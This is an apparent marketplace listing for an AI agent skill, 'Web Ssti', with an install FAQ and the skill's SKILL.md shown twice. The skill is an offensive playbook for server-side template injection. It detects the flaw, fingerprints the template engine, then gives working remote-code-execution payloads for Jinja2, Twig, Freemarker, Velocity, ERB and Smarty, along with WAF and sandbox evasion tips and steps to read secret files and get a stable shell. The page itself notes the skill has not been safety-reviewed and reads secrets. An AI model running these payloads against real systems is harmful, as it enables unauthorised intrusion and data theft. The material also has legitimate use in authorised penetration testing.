How do I install the Web Ssti skill?

Run npx skillmds@latest add s0ld13rr/web-ssti in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Web Ssti safe to use?

This skill has not completed SkillMD's automated safety review yet. Capability flags: reads secrets. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Web Ssti?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Web Ssti free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Web Ssti?

s0ld13rr (@s0ld13rr) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Web Ssti by s0ld13rr — Agent Skill

Name: Web Ssti
Rating: 4.2 (5 reviews)
Author: s0ld13rr

Web Ssti

Server-Side Template Injection detection→engine-fingerprint→RCE for web apps. Use when user input renders into a server-side template (names, greetings, email/PDF/report generators, error pages, profile fields) and math payloads evaluate. Triggers - {{7*7}} returns 49, ${7*7},

s0ld13rr Updated Sep 22, 2026

File contents

Server-Side Template Injection (SSTI)

When this fires

Reflected input where a math/template payload EVALUATES server-side (not just echoes). Common sinks: name/greeting fields, email/PDF/report/invoice generators, custom error pages, admin templates.

Detect

Send the polyglot; if any arithmetic evaluates, it's SSTI (reflected ≠ executed — the value must be COMPUTED):

${7*7}  {{7*7}}  <%= 7*7 %>  #{7*7}  ${{7*7}}  @(7*7)

49/7777777 back = hit. Then fingerprint the engine to pick the RCE path.

Decide — fingerprint the engine

{{7*7}}=49 but {{7*'7'}} → 7777777 = Jinja2/Twig (Python/PHP); TemplateError = Jinja2.
${7*7}=49 = Freemarker/Velocity (Java) or JSP EL.
#{7*7} = Ruby ERB / Thymeleaf / JSF.
<%= 7*7 %> = ERB (Ruby) / EJS (Node).
${{7*7}} errors but {{7*7}} ok = Handlebars/Node.

Exploit → PROVE IMPACT (engine-specific RCE)

Jinja2:   {{cycler.__init__.__globals__.os.popen('id').read()}}
          {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
Twig:     {{['id']|filter('system')}}  /  {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
Freemarker: <#assign x="freemarker.template.utility.Execute"?new()>${x("id")}
Velocity: #set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("exec",...)...("id")
ERB:      <%= `id` %>  /  <%= system('id') %>
Smarty:   {system('id')}  /  {php}system('id');{/php}

Proof required: id/uname -a output (RCE), or read a secret file. Then convert to a stable shell / record_artifact.

Tooling

tplmap -u '<url>?p=*' (auto-detect+exploit) if available; else manual per above. nuclei -tags ssti.

False positives / pitfalls

Client-side echo (value reflected but NOT computed) = XSS, not SSTI.
Sandboxed engine (Twig sandbox, Jinja2 SandboxedEnvironment) → try the sandbox-escape gadgets from PayloadsAllTheThings before concluding dead.
WAF stripping {{ }} → try ${}, #{}, whitespace/comment obfuscation.

---name: web-sstidescription: Server-Side Template Injection detection→engine-fingerprint→RCE for web apps. Use when user input renders into a server-side template (names, greetings, email/PDF/report generators, error pages, profile fields) and math payloads evaluate. Triggers - {{7*7}} returns 49, ${7*7},---# Server-Side Template Injection (SSTI)## When this firesReflected input where a math/template payload EVALUATES server-side (not just echoes). Common sinks: name/greeting fields, email/PDF/report/invoice generators, custom error pages, admin templates.## DetectSend the polyglot; if any arithmetic evaluates, it's SSTI (reflected ≠ executed — the value must be COMPUTED):```${7*7} {{7*7}} <%= 7*7 %> #{7*7} ${{7*7}} @(7*7)````49`/`7777777` back = hit. Then fingerprint the engine to pick the RCE path.## Decide — fingerprint the engine- `{{7*7}}`=49 but `{{7*'7'}}` → `7777777` = **Jinja2/Twig (Python/PHP)**; `TemplateError` = Jinja2.- `${7*7}`=49 = **Freemarker/Velocity (Java)** or JSP EL.- `#{7*7}` = **Ruby ERB / Thymeleaf / JSF**.- `<%= 7*7 %>` = **ERB (Ruby)** / EJS (Node).- `${{7*7}}` errors but `{{7*7}}` ok = **Handlebars/Node**.## Exploit → PROVE IMPACT (engine-specific RCE)```Jinja2: {{cycler.__init__.__globals__.os.popen('id').read()}} {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}Twig: {{['id']|filter('system')}} / {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}Freemarker: <#assign x="freemarker.template.utility.Execute"?new()>${x("id")}Velocity: #set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("exec",...)...("id")ERB: <%= `id` %> / <%= system('id') %>Smarty: {system('id')} / {php}system('id');{/php}```**Proof required:** `id`/`uname -a` output (RCE), or read a secret file. Then convert to a stable shell / `record_artifact`.## Tooling`tplmap -u '<url>?p=*'` (auto-detect+exploit) if available; else manual per above. `nuclei -tags ssti`.## False positives / pitfalls- Client-side echo (value reflected but NOT computed) = XSS, not SSTI.- Sandboxed engine (Twig sandbox, Jinja2 SandboxedEnvironment) → try the sandbox-escape gadgets from PayloadsAllTheThings before concluding dead.- WAF stripping `{{ }}` → try `${}`, `#{}`, whitespace/comment obfuscation.

Frequently asked questions